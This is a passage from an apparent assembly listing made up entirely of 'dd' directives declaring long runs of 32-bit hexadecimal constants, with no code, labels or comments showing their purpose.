43E5E3D9h, 0A4C6A49Ch, 6C272D97h, 0CF9DCF48h dd 0D19C7B21h, 0FD9ABCF4h, 0F2D6A2Ah, 72E4D0CBh, 1CB62912h dd 7B0BFE1Ch, 0B8F7E591h, 82C3986Ah, 4C252378h, 6BC4E469h dd 8EAD0A32h, 0C639209h, 0F517D3C0h, 0F1002C5Eh, 6F783C05h dd 0A2E353E0h, 40E774FFh, 52FA6025h, 806746C9h, 8A6FE0C7h dd 5A727F61h, 0AF462BB8h, 64B17769h, 0D8A19804h, 0AF2C58Bh dd 0E4B233B0h, 8952C2F5h, 0B9169C62h, 0F1483728h, 6A174722h dd 6F568E10h, 809EA59Ah, 577BAE3Fh, 3FD6FF85h, 0C7F4E0A5h dd 4516B8FBh, 3FC47559h, 0A8D6D001h, 7E218C24h, 5A2D45E7h dd 0B8B7F3AFh, 71A62CE7h, 3101676Ah, 0AD569B38h, 0A930E119h dd 3E119A6Eh, 0E0D145E6h, 78DD1CBh, 16247F35h, 0B80A4869h dd 680E6B70h, 0D5D49107h, 818E526Ch, 73F3CA5Fh, 0E35A62E3h dd 0F100E2D0h, 0E5430D6Bh, 840624D3h, 0AEDC11Dh, 1A6133C0h dd 4FA3CD40h, 6D9BFB55h, 0E1478516h, 0D007F145h, 58610656h dd 0B3ACD1D5h, 958203F8h, 5BAF2A2Ah, 0F6F90F08h, 0C15EFB4Dh dd 0C926BF2Dh, 0D8BEDC82h, 72588A20h, 0BDF2B7E9h, 32094D07h dd 9694A6C6h, 147F8EEh, 948A0BB8h, 25AC549Fh, 0E2EC7D7h dd 0FDBD4E83h, 0C2AEEA2Ah, 639A752Fh, 48D5C82Bh, 33A59242h dd 0B9288D78h, 74096C6Bh, 9412E70Ch, 21BE4AFEh, 21724B09h dd 0DDD6C641h, 81AEFCE2h, 92ACF56Fh, 61EF6646h, 7E2CB11Fh dd 7071A17Dh, 22A79152h, 2E74A538h, 63C5040Ah, 370853C9h dd 7DAA05DEh, 9D6050DEh, 0BD6D0BB7h, 0BD99A570h, 0A68BA4Bh dd 6C2214C9h, 90185E14h, 28AE28FDh, 2D2B6E69h, 740059C8h dd 0E3CD6498h, 45F6C40Eh, 98DBE42Ch, 85F54088h, 710F2A2Fh dd 78BDD58h, 5FAF4072h, 0FAAF3789h, 7846F20Dh, 0AE118680h dd 37D2FEC6h, 6B4DFC24h, 4B7D1553h, 81E9993Ah, 3B38A03Ah dd 0EA51281Ah, 23BF727Eh, 5BD4A654h, 0A26AFA14h, 324408BFh dd 96EDEF9Dh, 4E170138h, 1A5DE71Ch, 283E9463h, 5E5D999Ch dd 28204628h, 0E5799648h, 48201FDDh, 0EFF5D557h, 1412163Ah dd 5F72D83Dh, 128211B3h, 806787B6h, 3F99A075h, 3D6D55ACh dd 2F2F04C7h, 1E630DFEh, 5B694947h, 862C50D6h, 51F32836h dd 0A14B594Dh, 2849DD4Ah, 0AA255FD1h, 8800BC86h, 8A4C568Eh dd 0BB201741h, 4F09D326h, 5ECDEB06h, 0DC6E1F0Bh, 0B01B476Dh dd 49DB36BFh, 0DF800481h, 138D9D49h, 44B07D9Eh, 0F943E069h dd 60557D08h, 510B44E5h, 868C9006h, 0B9DC24BFh, 5EDC0C0Bh dd 0A1975464h, 3D0FA6CEh, 0E7A35486h, 491E987Fh, 0F54D144h dd 240C2849h, 31884B2Ch, 7624546Dh, 91349CA1h, 21DB6426h dd 7F68F9C4h, 0D404F600h, 5EBF9DBCh, 0BFDC2D6h, 62BDD0C3h dd 82467874h, 7958E64h, 8D0A706Dh, 80FF1953h, 361B9553h dd 6C386F10h, 12EFEFADh, 0E23076B2h, 8EA11933h, 0C2D0BF31h dd 0F7CDEBDDh, 24D48989h, 1B0EACFAh, 39FD7E70h, 84530AACh dd 0D790CA80h, 0E166F7E2h, 54795C29h, 2A429CE3h, 5D2066CDh dd 88E3A6F1h, 0A6A0DD03h, 4237DD6Bh, 0DC751BF9h, 3DEC7337h dd 25760CFBh, 0E340B350h, 0AA74F5C1h, 0D5ED800Fh, 70B23C2Dh dd 0FD029833h, 0D0A2F277h, 49740DEDh, 632AE617h, 46C00C17h dd 8D9C9FEBh, 0B47B183Eh, 8F131463h, 460A0244h, 3313B936h dd 43D34A16h, 0F48443E8h, 670B4CD5h, 2CE4F364h, 67A0E257h dd 0AFA54C84h, 0B853F089h, 6FE07011h, 5E1F461Eh, 0CAA61035h dd 8AB72678h, 99A56C1Ch, 0DA6605D4h, 4601AE6Ah, 4267F6Bh dd 7E3C1A24h, 635A8F20h, 0F605836Ah, 37D909ABh, 9DCFF1EAh dd 0F019858h, 36288DC5h, 0F7F2DECAh, 0EB529AF1h, 1469B679h dd 5249F93Bh, 0F60DE0A2h dd 0BC21B165h, 77C0BBEFh, 9E4A1513h, 68932DD6h, 0D9C7FBB4h dd 46A392C6h, 0D05304A1h, 0FB7C0A51h, 9A2E27AEh, 798F2D45h dd 0F1279A40h, 96007B75h, 0BE855349h, 75B2750Dh, 0DCCF56D7h dd 0C4714Bh, 2AA47103h, 0CE432CE6h, 0FFF941F5h, 5573C697h dd 18EDEA56h, 0E4CC3E92h, 0E119768Bh, 6305EE61h, 1EE04369h dd 0E23339FCh, 4C0F7580h, 0D1FC0E40h, 0FF2832D6h, 21D61A7Fh dd 9E976944h, 0F36B5967h, 0ED5C6F66h, 0B62A8BAh, 64C79D45h dd 0CB9A8369h, 1A22E10Eh, 9DED217h, 6BEC0A4Dh, 6A716A72h dd 0C05B488Dh, 0BACCD3D8h, 2DF41810h, 80F3F95Ch, 780FD125h dd 0F2FCC216h, 0F5EC964h, 6E389802h, 553BA9F7h, 0A8D21287h dd 3E6B8680h, 0CFDCAD5Ah, 0AF2C7AA1h, 85E84DDEh, 0ACAEAEBBh dd 0A7FA5C19h, 8B694CE8h, 9F988FF6h, 86FD0AF5h, 7EB8A30Bh dd 0D65B1D93h, 4ECE172Fh, 0BD3FB1A9h, 872C1EA6h, 704A80AAh dd 0DC08008Fh, 0B5C01CA2h, 7294F955h, 9657D9BDh, 149B6CE0h dd 6DF32B3h, 0B86D528Eh, 0CB2CE2E0h, 0B97BACCh, 315D1858h dd 87C99E1Bh, 6222BCFAh, 0A041B83Ch, 1CE8371Ch, 3911CDC9h dd 0D7FC1D77h, 39EC1FB2h, 0A0CA3C32h, 98B895A6h, 471E140Eh dd 0CD7268A9h, 0AF30EC78h, 55C3F48Ch, 0E14934E9h, 594D01Fh dd 8AE3B662h, 0D10BE33Dh, 0A88D5B7Bh, 28634D57h, 3A8A6F4Fh dd 0CD23B801h, 3AFAB80Dh, 1C029C98h, 0F81F4883h, 0A545C8CBh dd 0E32B6869h, 0F27EB118h, 59DA3A19h, 0C23453A5h, 0F861E30Ch dd 0B5C3232Dh, 0EC0983ABh, 3ED4F56Bh, 64CFE27Ch, 0BDA18CC9h dd 5FE8970Dh, 86BE59AAh, 5BA3C524h, 62C581BDh, 0D7CC0EDCh dd 9D93D185h, 159A1938h, 25DAF627h, 0E30EF1FFh, 0DF147FA4h dd 59FBF560h, 61E71C8Bh, 0A7355F5Eh, 733C68Eh, 969451F5h dd 7AE6D6ECh, 0C216F95h, 0DB1437E5h, 0F8AF5BE8h, 5AD5A727h dd 5C145262h, 0CB791618h, 7630F1C5h, 0F93EC7D8h, 843F996Bh dd 185974C8h, 81F604B0h, 620D8A41h, 5C333B0Fh, 0F79EF096h dd 116A11DCh, 0A2E31CBAh, 99DE141Ah, 85A0564Dh, 3D5D345h dd 6684D75Dh, 0A612F355h, 188DE6CAh, 44D3BC0Ch, 0E25EBCB5h dd 0FD78CEF8h, 37B11303h, 3A047778h, 835447D8h, 5EED0F2Bh dd 10891F9Fh, 8197B398h, 0D2AC6BBBh, 45BEEC13h, 0C17D9D68h dd 66CBF31Eh, 0EFFAB5FBh, 0DD026B55h, 90F4F8D6h, 980B435Dh dd 0FDABDF6Fh, 0A26D5415h, 135EE2C1h, 38B76AD4h, 69785FD0h dd 0BA1A2322h, 0BDBAA2AFh, 0C4B2255Eh, 47630CD6h, 0D54E0B0Eh dd 1E474CFBh, 410FB2F7h, 6BC8EFA2h, 0A06A6DF9h, 80111BA7h dd 5107F4C1h, 254C0F7Ch, 5C6E0E65h, 0AD0B3BE7h, 8B6FC7DEh dd 0CBFD543Bh, 9B61428Dh, 0AF71CB8h, 3A3A421Ch, 8C45330Ch dd 19C9F6E8h, 0B7366260h, 25A94512h, 8E75A2DBh, 0CE8408DEh dd 803453CDh, 0C803125Eh, 0E2C56876h, 289444F7h, 8D3B3B6Bh dd 0A994B8ADh, 44C5CDD3h, 82251AE1h, 5D3CC0A7h, 0C1461C4Eh dd 82F6CECDh, 98D73869h, 1964C3ACh, 0FE371918h, 303CA097h dd 40E5023Eh, 0FA07A21h, 2284F34Eh, 9D4380A0h, 22B80922h dd 0F686F394h, 0EAC3CBDBh, 714AA3Dh, 0CE900C1Eh, 0B0A12ECFh dd 0F9CE79DDh, 0B373BF9Bh, 5BD194D8h, 0F7B997FCh, 282DB3C0h dd 7CEB2583h, 786B13B9h, 0BD438EBFh, 7D2F7754h, 3F8E4295h dd 420E268Fh, 0A39C307Eh, 0FF369BD5h, 12B34EFEh, 26CDFC4h dd 0DF149834h, 37127038h, 0B28545AFh, 246BCC45h, 1D6EB92Bh dd 0D1B870BBh, 88E52E37h, 0E735D349h, 13C9843h, 0D08B5997h dd 0C3BDFB8Dh, 0D24A1629h, 201E820Fh, 0AEC16500h, 7F0AB2AAh dd 0F5DF879Ch, 5590D11Ch, 0A71DD5E2h, 84AFA266h, 6EF51CBFh dd 5DCF586Dh, 575D5F2Ch, 430AEA51h, 83FC88BEh, 90018B16h dd 4BE455EDh, 0A8AA5BAh, 133355FEh, 96EEDE4Bh, 5207A134h dd 10E14385h, 0BB4B8DAAh, 7998D0EAh, 0F7E5C117h, 2C8FE8D4h dd 2C24C9BEh, 7E1F19F7h, 0C98B282Bh, 4C8179C8h, 0FD3E551Dh dd 176E3460h, 4755F1BBh, 0F7C0A737h, 938BC70Fh, 0BA797208h dd 0F263FBB1h, 0D76E69FCh, 6E9FC092h, 0CF2D7418h, 0B4F6C194h dd 0C7FF7FCh, 237F0814h, 0FAF875B7h, 5F6820E1h, 28DABAE6h dd 2BBE6B2h, 6B1D5988h, 0B7610E3Bh, 800B8E9h, 9617A06Ch dd 423DA1F7h, 20FF6198h, 939F0304h, 660713A1h, 8CA2F0D9h dd 15B98864h, 2F670F48h, 7023DF59h, 9969AC9Bh, 0AA3C3AADh dd 642AF631h, 65FE1513h, 0BC6B728Eh, 0A6A563E3h, 0B917327Bh dd 0ECA2D302h, 183A5C29h, 3A44F12Eh, 7A810DEEh, 78B3D412h dd 76116AF2h, 0F48BDF6h, 3883643Dh, 0EC2CA9h, 1917FC97h dd 85E53A8Bh, 22FD941Dh, 9D9852ACh, 0B418E68Eh, 0AD7EF9BDh dd 0FB416880h, 6CB680A0h, 0FBCC9D14h, 0D8BBD81Fh, 0D804CAC9h dd 7619F943h, 9E150C54h, 0ABCC45CCh, 0FCB8DCCFh, 95A4DC76h dd 0F476884h, 0E83595B8h, 0E71E1ED5h, 0C98B35A7h, 0C21A20D9h dd 45BD2C99h, 0A8C8B5BEh, 4400349Eh, 169EC621h, 51B97C7Bh dd 5C4725Bh, 2988358Bh, 0E5F7C3A4h, 81BA8D3Ch, 0C1ED3881h dd 395587BBh, 50F735D7h, 8E74F3BBh, 0F0392A3h, 0DEB0B2Ah dd 0AE6BFE81h, 3EA827FBh, 7DAAD160h, 64A96C3Eh, 5FAEC6EAh dd 73E11C5h, 8EE6582Ah, 0B3385CC7h, 81FE51CBh, 3C93308h dd 0A2AA59D3h, 3A46CDABh, 0FB1A3F5Dh, 86E3276Ch, 0C7DE5C68h dd 7AE1E88Ch, 6CF76F50h, 5406F9F5h, 0C8C63B4Dh, 532FAB98h dd 59E1FAB7h, 226ED17Dh, 0ADC378DBh, 0DF2F2F17h, 0E794865Ch dd 8F6C477Ah, 2ACFED77h, 5296F744h, 5174029Ah, 46DB6A7Dh dd 0F557012h, 7D6D2CBDh, 0DA05136Ch, 0C5AB3013h, 0A0D25FCEh dd 62A219CCh, 55FE8039h, 0E0DE5F00h, 0CD52DCE5h, 0F3FAA9F8h dd 0B4413F1h, 8E0054BEh, 0DC09AC97h, 0A598C5F8h, 0C6D072F5h dd 0EBF0E6DFh, 0DD4BDF57h, 8AB2D9E1h, 0ACA194Eh, 6D97978Dh dd 0C280C6A9h, 7EA01376h, 32558F29h, 279E3F6Dh, 0CD8A551Fh dd 0CB72F91Ch, 9ABFAC08h, 0F37CA99h, 278404F9h, 6D476118h dd 4C332DB5h, 0A4DCD3BDh, 0DB14F319h, 605DA5B3h, 8A9658E7h dd 40F72ADBh, 9931CE8h, 601912CAh, 85950548h, 2B609D54h dd 0BF05E363h, 2EC83ED0h, 0F662E2A1h, 977191h, 0D4E8FFBAh dd 0F7B688A5h, 0EF16B621h, 719E827Dh, 0A1586E5Ch, 2CE59EAEh dd 19FB7B04h, 74599C2h, 4F0B1692h, 8EE03EE8h, 0E2DDF26Bh dd 3E32294Dh, 0ABA71035h, 0BE6F2490h, 0CC2EBFA1h, 606ED32Fh dd 2DF439B2h, 2904C45Bh, 0C075D4EEh, 0D43973F4h, 9959D3DCh dd 0CF23C880h, 0ABD44507h, 4D453DD8h, 0D59E9FC0h, 0BA44A7CEh dd 51BBFBCDh, 988E1A4Dh, 33CAA92h, 4A110A91h, 0D0E07CC3h dd 0FE1109FFh, 0BBA6CC19h, 0BE183A14h, 2C66C6EFh, 0E1DEF8D7h dd 71F5C7F1h, 2634DC7Bh, 367E8216h, 952A9B3Bh, 5D1D9FDFh dd 368E860Ch, 1A2F8F53h, 2DD2D66Eh, 8F66C18h, 4576B1D8h dd 7A7B5CD0h, 7D613217h, 405E98E5h, 0FBECC510h, 5BB910CAh dd 98E7F291h, 6A1DAC3Fh, 8CC44304h, 9E1B1D38h, 7852CBB9h dd 1C619F1Ah, 9B58229Fh, 9377C6A5h, 0C05CB118h, 0C06AA011h dd 0BD6E8EFAh, 57BA23D2h, 2CD6F4FFh, 3303531h, 5DA01A4h dd 0FC4BF132h, 898744BEh, 0F8BE6B31h, 0EFC0A610h, 9BBE82A6h dd 0BAEBDDE6h, 0A937F9FAh, 282C4389h, 41165F5h, 84B99FF2h dd 0DE86886Dh, 0B9F2C57Dh, 8ED0D172h, 229617E3h, 0CDE70A59h dd 0B622D0F8h, 0C3E730Ah dd 6300CF41h, 0C11BCF1Ah, 0ED6FC452h, 0D4911582h, 1E11FBDDh dd 91D9A7C8h, 0E92E3070h, 0D7111AC5h, 99277FB1h, 2BF56CB8h dd 0EE7C0AC2h, 19754997h, 3925B402h, 59E7CEB8h, 8439AA6Eh dd 6379AC64h, 69D2ABE6h, 3A0FDEA6h, 83F93B8h, 71DBB015h dd 2101FF81h, 0E9739015h, 166574FDh, 0DFB8F38Dh, 62A9CFADh dd 9763475Fh, 4DD9406Ch, 3EC64C7Ah, 0CDAFD40Eh, 1E05C930h dd 59244751h, 0E7F733B7h, 0F6615353h, 7C1A6EFDh, 0A393B0F8h dd 1609011Dh, 1DB03AAh, 0ACDE9D90h, 0B72D27D5h, 0E36C52E6h dd 0B9184C77h, 10769BCBh, 0B1135FFDh, 0C1C1AB36h, 2D60CA09h dd 88AF4F5Bh, 6C72DDF7h, 29C8668h, 0EBB50327h, 0DB8867B0h dd 0EE83A6EFh, 6542AB5Ch, 0B06955EEh, 4C72B8E7h, 462403AFh dd 80F22F9Bh, 0D369E9EBh, 1F44D411h, 0CA90E1E6h, 0DE4254D8h dd 0CFE21FA9h, 0FD308FEFh, 1C86237h, 442D35B2h, 4274E5FEh dd 0CDC7B64Fh, 0ADEDB968h, 25E0CE24h, 224AC5BEh, 8B15D75Fh dd 0BA24250Ah, 3DD2D8F4h, 0D4921B21h, 7F5026C8h, 200CDCA3h dd 7CE6F792h, 0B45218A2h, 6BFF704h, 84887001h, 0F59E9F98h dd 0F42BF569h, 0CD360B9Fh, 0C7EB8DE6h, 34317361h, 1B5C22D2h dd 0DD47274Ah, 0A00F7C9Eh, 0A1D369D9h, 0DBA60861h, 429108BAh dd 1A64AF5Eh, 0D3770E28h, 0B6870B80h, 8D1072AFh, 0B7AFF4F6h dd 0CA5603BEh, 0CE825E09h, 0DFBDD217h, 4B1427D3h, 4CFF6833h dd 2D287FEFh, 21FA392Fh, 0CBC5E912h, 0C95EABD9h, 0EBD1C89Ch dd 0A0CE07D8h, 0A40650C4h, 7CB0861Dh, 72EBDD7h, 0A1AE96F2h dd 0E9F09FC4h, 0DFBBB4B4h, 9D3F831Fh, 0E96A10EFh, 34B97FAAh dd 8D776C8Ch, 5C5E9CC0h, 8E72B8BBh, 91FB11BEh, 92146080h dd 0C2EAC27Bh, 29C8BB0Bh, 938796E2h, 0EDB19963h, 5DDB0A87h dd 0D0C03150h, 4819749Dh, 2F3BEBF7h, 0A614F27Dh, 97F4A245h dd 64E4BF7Fh, 7505D802h, 0BBFBE1ABh, 6ABAC20Bh, 0BCA42F49h dd 6302018h, 0DAD00CA2h, 0F2E5F5EBh, 0BD24A9A2h, 13284E0Fh dd 39A0A068h, 0F5608A4Dh, 0C790C372h, 863C3276h, 0F68520C0h dd 0A154C242h, 0EC4383C9h, 240BF71Bh, 893678EBh, 97FF5DC0h dd 691B4F2Dh, 0A772B26h, 0ED2EABD9h, 1FC20B1h, 0D80F78EBh dd 5AA0E937h, 2231BAD8h, 0A0B6115Dh, 59CA7ABCh, 15E3397Eh dd 2F91BA08h, 0F4A76E95h, 0E6363C0Dh, 0F66C7DBh, 65A5BFCh dd 9643C4DEh, 958663C3h, 66EF441Bh, 0AA3592Ah, 5611DB87h dd 0AB500E45h, 0C7FE54B7h, 0CFE7857h, 0CD53C1A8h, 858B3FADh dd 527E4F18h, 3E864ACDh, 0CA1FDB51h, 31109B0Eh, 0F8D70A56h dd 73799B11h, 651F5DAh, 35ACC714h, 0E1149E47h, 34B86B92h dd 52858396h, 86C1D02Ch, 5626A9BAh, 0FD4948ECh, 964E42FDh dd 0C376F0CEh, 92118B5Ch, 6EB0A92Ch, 9A95BB96h, 152431FAh dd 3771ABC4h, 51DAF308h, 5AE75DE5h, 2F8ACA17h, 5218DB76h dd 1F60ED0Ch, 0A3E91977h, 7EB031BBh, 36F1EB78h, 746AC7CAh dd 0EB948297h, 0B23E9FD4h, 67E3B5D3h, 0CE967B58h, 4A195784h dd 14CB050Ch, 17D9702Dh, 27B2200Eh, 0FE36B1CAh, 0EF679333h dd 17C209Dh, 427139A5h, 0D4924341h, 0E4EB2DCCh, 0B39BE14Ah dd 7B3FF982h, 0B7BD6715h, 0F4950B26h, 2AF9E603h, 0E1263FFCh dd 0FC916365h, 1F183338h, 0EDE3B22Fh, 11AC425Fh, 0EA3CE9FAh dd 454486A7h, 7C484DC9h, 0A0C6B5D5h, 0F25E77B7h, 0E2AD373Ch dd 0E041D8D6h, 8131A295h, 9416CF47h, 43845A4Ch, 0F4ECA9Ah dd 61560E3Ch, 70C17Dh, 0F5B255EAh, 7A93514Bh, 62FC07D1h dd 0F4832E95h, 58FA468Bh, 0B29B792Ah, 0B0DD64B0h, 0F6AD9FA6h dd 78AE091Eh, 0F2C9A73Ah, 9D7DF74Fh, 5C24F054h, 23F354BDh dd 1B0BCEEBh, 38BD0B3Ch, 594100BEh, 2D68D9Eh, 0E5389814h dd 12D750A9h, 1F13201Eh, 8E2FF5F5h, 16598A2Ch, 0D1D5383Ah dd 677ABE96h, 7E706753h, 0E9D15940h, 0B971B1EDh, 0C9E3135Bh dd 0A811D954h, 94A6AFCDh, 0D798A4C7h, 780286Eh, 0A251ED9Fh dd 42B5FF63h, 146AF96Fh, 4AA5E2D3h, 0FE32F153h, 101C3CAh dd 0C8522D7Dh, 0C83C2C80h, 0DAAB55Eh, 1D8BA6D3h, 470C4B54h dd 0B2777570h, 56C9E198h, 778387E9h, 155F75Eh, 0B365BA0Bh dd 5F138A56h, 7F274D48h, 0FC535568h, 667DF29Bh, 15D32E85h dd 41EFAEF4h, 0C7932930h, 1ED88552h, 39EB07A5h, 0B3F984ECh dd 0ED634A37h, 0C460AAB8h, 294305D8h, 2008AC82h, 446DFD89h dd 5124E9F5h, 0A59863F1h, 1D6FE61Dh, 0C76FAEF8h, 79130185h dd 9D6823B1h, 0ED55F780h, 662B7B2Bh, 23D36B4Dh, 0B9079A3Bh dd 0CEBA4185h, 6D6D8A29h, 2A6E0712h, 816134B1h, 0AC34521Ah dd 9B9A960Eh, 16FE1A0Bh, 29D31A6Ah, 64E388E7h, 0FDE2CC1h dd 626987F5h, 39725438h, 47B436DFh, 20677DCFh, 0FB698E3Ch dd 0EB9BB7FFh, 0A8E9ACB1h, 4329E0BBh, 0A6EECB0Dh, 0D7231E48h dd 4897781h, 0DD335D7Bh, 0DBDDD5A7h, 6B69F11h, 0C1CAB076h dd 8FF28112h, 7F42CE0Eh, 0EBCEA54Bh, 70F4BD76h, 59BBB044h dd 92CB3EFEh, 89BBB55h, 76168535h, 0C7CD9707h, 0BE127519h dd 0AB4A73CDh, 2334D8BCh, 5362616Fh, 5B61F73Ah, 654122FAh dd 0E9EFCA57h, 22613CCFh, 0C6286BEBh, 0D43DAA95h, 44D157E8h dd 49F6DBDDh, 8473C36Dh, 57124A82h, 8EE47A01h, 3EDB4EABh dd 47CAF935h, 0A3A00B4Eh, 0C33545E8h, 7C011E49h, 6135057Dh dd 49941ED4h, 0F5A0AB01h, 3CE2468Ah, 65ADAD5Ah, 0EDEAA31h dd 30A32114h, 4B20476Fh, 0DB1DD372h, 0B7DAF4A0h, 2EEA8E02h dd 122461F0h, 0AA1F7E53h, 676C2BB3h, 0D361A36Dh, 9FA8786h dd 35E1B2B9h, 6484C6B6h, 0B3981044h, 0BAFFCBC0h, 5FDA00DFh dd 2F68C865h, 0CE44F751h, 410B3B42h, 0A39B71CDh, 29642DA4h dd 0A05907A7h, 0C50423D2h, 35C0C70Dh, 0F8C24B2Eh, 0C9F1E7C5h dd 0AF3B93A1h, 0D7B32921h, 0FCC48088h, 530A36C0h, 137AF24h dd 68B53224h, 706FB306h, 510735A3h, 0EC719CB3h, 0D5466166h dd 0B6EBBDBh, 4409B907h, 0F027A86Ah, 4E108722h, 39240527h dd 1C6D2F96h, 0DC01C9E1h, 4C40042Ah, 0AECBE481h, 0BF38F702h dd 6E50495h, 0E56917F4h, 0F2793E96h, 0FD65E90Bh, 0A4B853A2h dd 0A924AA51h, 0C49C162Ch, 0F440B5B4h, 0BCD55E0h, 83774272h dd 0DC05BE9Eh, 7909B13Eh, 0BD4D0D40h, 9DA5378Fh, 0B54D27D4h dd 25DA4222h, 9BE118Dh, 0EA396EB6h, 0A9EE6A27h, 91198B29h dd 33A6F77Bh, 3E303478h, 0FF48A8B0h, 14E8D7A7h, 444ACD74h dd 44335C3Dh, 82AF5E15h, 0B3041CBCh, 21425B12h, 3C079FFAh dd 3E952E8Eh, 28D9ED4Dh, 0B066C199h, 0E414828h, 0C1CB5A35h dd 896A5301h, 12357376h, 0E8E0B90Bh, 7CE29A5Fh, 0BEA99027h dd 36F8AFF3h, 0F6EB95D5h, 79353613h, 0DBC096E7h, 96580C38h dd 0EC05B19Eh, 0FE111A45h, 0BCA18C2Dh, 3F288748h, 402B9542h dd 980A4F27h, 6AAC953Ch, 0AD19413Ah, 6CA27E4h, 0A2DDD0A0h dd 98C14080h, 7252CA35h, 0D6B8A719h, 3D6D6597h, 0D6B710FEh dd 7B6D2F01h, 45B1F71Ah, 67296C6Fh, 55C22884h, 1980EB1Bh dd 572455D2h, 0D9610D86h, 0EE666968h, 0B2072A5h, 9FDC9288h dd 8F6A5AF7h, 7DC5A038h, 0E00B6DC5h, 0C09B54C4h, 5D179FF1h dd 732D19CCh, 0FEFAE732h, 3768E81h, 5E169D61h, 22D3BCBh dd 0A5B30853h, 3A2E7421h, 0A677CC16h, 588A95ACh, 0D14BCA84h dd 0E9DAE4A1h, 2CE3D0D7h, 0C8DE1B2Ch, 5278AA0Fh, 2C43B370h dd 0FBAE03EAh, 2013CA0Ah dd 5EF2607Fh, 86CE2DDBh, 25C16C01h, 0AA9A27CDh, 0B8FC6752h dd 0D06AF71Dh, 28273780h, 0A33F85EFh, 0DA98D230h, 0C90BF847h dd 8E3CCD62h, 0C1EBE05Eh, 2CF28D5Ah, 19E34C5Fh, 0A72816FEh dd 0C62901F1h, 505E7CD3h, 9D1EC152h, 0E932CCE3h, 936CB9A6h dd 886A03F1h, 920F1786h, 0FBDE927Ch, 0FB4B8A29h, 51EE239Ch dd 68F88B17h, 6C23E5CFh, 0AB7017D8h, 0A517C149h, 46C452A2h dd 0BACE9BEDh, 0AD0DB2BDh, 0C6AABF75h, 4B3B7103h, 68CAF440h dd 0E8CA6A47h, 482D561h, 51D86418h, 0F8817836h, 8AFDA95Ah dd 0FACB5064h, 9D2298CAh, 0BBBF33B1h, 69CA07D0h, 0D0143252h dd 0E5BC0125h, 929F4099h, 10FD5EF3h, 14603026h, 0DC8A12E8h dd 0EF3DB9F5h, 0CF0FABC8h, 4C44337Bh, 49DF7252h, 66CE92D4h dd 0A1CC6DDEh, 164E63F1h, 9CE8BC1Dh, 0B1408CB1h, 0F74B7A34h dd 8455DD19h, 6DE10432h, 3CB841Fh, 0D7C7342Ah, 0E1722B2h dd 0D1D907D9h, 51AD5B5Eh, 7922A07Ch, 68C65832h, 4C49492Ch dd 1231D117h, 0C65641E9h, 7BA2D310h, 27BB25CEh, 5C0E0CCEh dd 7755CDA7h, 0A5E42BB8h, 834957C2h, 3BB40D3Dh, 8591706Dh dd 9BC7D8C9h, 0A6D2AEF4h, 0B9D7449Eh, 0DC5758B6h, 63E28E51h dd 0B8D419D3h, 0C5E89998h, 2343B4E9h, 5A15BE19h, 0EF4A9760h dd 0D5E93801h, 95F24CBDh, 0DB7A90FFh, 867C0EDFh, 620FA106h dd 0CA6707D4h, 0F822127Fh, 0C689378Fh, 0D080C59Ch, 85430418h dd 0EC9D7AD5h, 14AF630Fh, 0B784A57Bh, 0B87F88D3h, 195DC88Bh dd 0BEEAC0A0h, 0E3B6E26h, 6AEB300h, 0F01AD518h, 0E410D09Dh dd 66F57969h, 0E4709655h, 0FC024D6Fh, 0D235537Ah, 542C113Ah dd 0C67527Ch, 1EE532FBh, 29FBE544h, 0F34DEEBFh, 93D5CB54h dd 0C511B094h, 203DC953h, 9373F768h, 56BCD280h, 0DF4A1AFDh dd 48BEEA99h, 73609DCBh, 174A7CD2h, 34FE141Bh, 0C8DAFAFBh dd 6DDA1BC3h, 0DC4F70ECh, 7B8DDFC7h, 0DFCFE7F2h, 0F45B44FAh dd 0F20618E7h, 15D56DE8h, 0B7810830h, 372B9AC4h, 63C9B8EFh dd 0C18446DAh, 6414714Ch, 4FAFA42h, 4CDBCE79h, 8B06B79Fh dd 86993B67h, 74E80424h, 0B83FEB29h, 497E1990h, 0C1F26A5Dh dd 2E662CC3h, 43425F27h, 654AB1AFh, 58A6BCD3h, 20EADF94h dd 1E69FDABh, 6541012Ch, 83F1C7FFh, 3FEE118Bh, 0DA751368h dd 0EDA9A539h, 8D3CC010h, 0D0F897A7h, 0CDD8C252h, 0EC01C8EAh dd 47C70B48h, 9AF198A5h, 6CE9034Bh, 0BE07DC46h, 142EEE63h dd 9BA01557h, 2AEACC7Ch, 4E24EF62h, 7BCF21CEh, 0ED3B2BF3h dd 71FA2795h, 9512C62Bh, 33DE37FBh, 0C54D67C7h, 0DD2F213h dd 0B82C4F16h, 593ED38Bh, 4C9A3ABEh, 13710B7Ch, 46FD2977h dd 66627F76h, 7046B65Ah, 4BEA344Ch, 2FCD44CAh, 930ED2EFh dd 0EAEED869h, 106BDBA1h, 0A0DEACC3h, 52492FAh, 2FFFAF0Dh dd 49FA4C17h, 0F7F4E419h, 0DA0FABA4h, 85087717h, 4A3CBC4Dh dd 0D7EF2F68h, 6DE85F35h, 0EEEF6EF8h, 0EBC99AA3h, 5ABC3128h dd 3F7A684Bh, 8E8045C1h, 0B86445A2h, 8CF6E7B5h, 2BA4EAACh dd 0AC4014CFh, 33E71748h, 4424709Ch, 0E7B4C2B9h, 6B2DDDF2h dd 0BE0FDE72h, 99748673h, 6D4FB7CAh, 464D2DDEh, 0D7A94333h dd 82F9FBADh, 1B35717Ch, 4358435Ch, 6C6A171Dh, 0BBCD2019h dd 88CEE625h, 53FF4ACAh, 939002A1h, 91FF9A3Fh, 0FE8C416Eh dd 0EB850068h, 0F580088Eh, 15FFFF07h, 186CECABh, 0F80EE8C0h dd 909D68EAh, 315574B0h, 0F45CAE16h, 0EADCAE64h, 2FF878F5h dd 0BC2613CBh, 8669AE24h, 0F1A3AE79h, 517A2395h, 8583281Fh dd 0C6F50472h, 412CC43Dh, 890DACF0h, 0C90C7FBAh, 93DD3737h dd 6315693Eh, 850E2F8h, 0F6BF7E5Ch, 24B0290Eh, 43CEA072h dd 23638603h, 65A62E4h, 0F2A53773h, 314A00BCh, 0B96B063Ch dd 0AEFC9171h, 20D4BFA4h, 966C9810h, 6CB042D0h, 103EFB36h dd 68BFAF5Fh, 136FBF6Ch, 0BDBAAB09h, 83B43C19h, 54202FECh dd 0CEE963E4h, 3DBA45DEh, 74379F90h, 87649CFAh, 0A443338Ah dd 1485C8CFh, 68A2CE31h, 5986B03h, 0A4ADBB62h, 7E96EE98h dd 9F6DCC2Bh, 5DAD38EDh, 0C1D23013h, 0D2D6F571h, 4A0C09F4h dd 8BA61D9Fh, 0C5BC40ADh, 610B007Fh, 125363FAh, 1AF8E93Fh dd 0C810BE5Eh, 0AD46DE59h, 0F53F92C3h, 0DC78776Ch, 924C9BF7h dd 39462EEh, 0AB6C3E27h, 0AA75E3ADh, 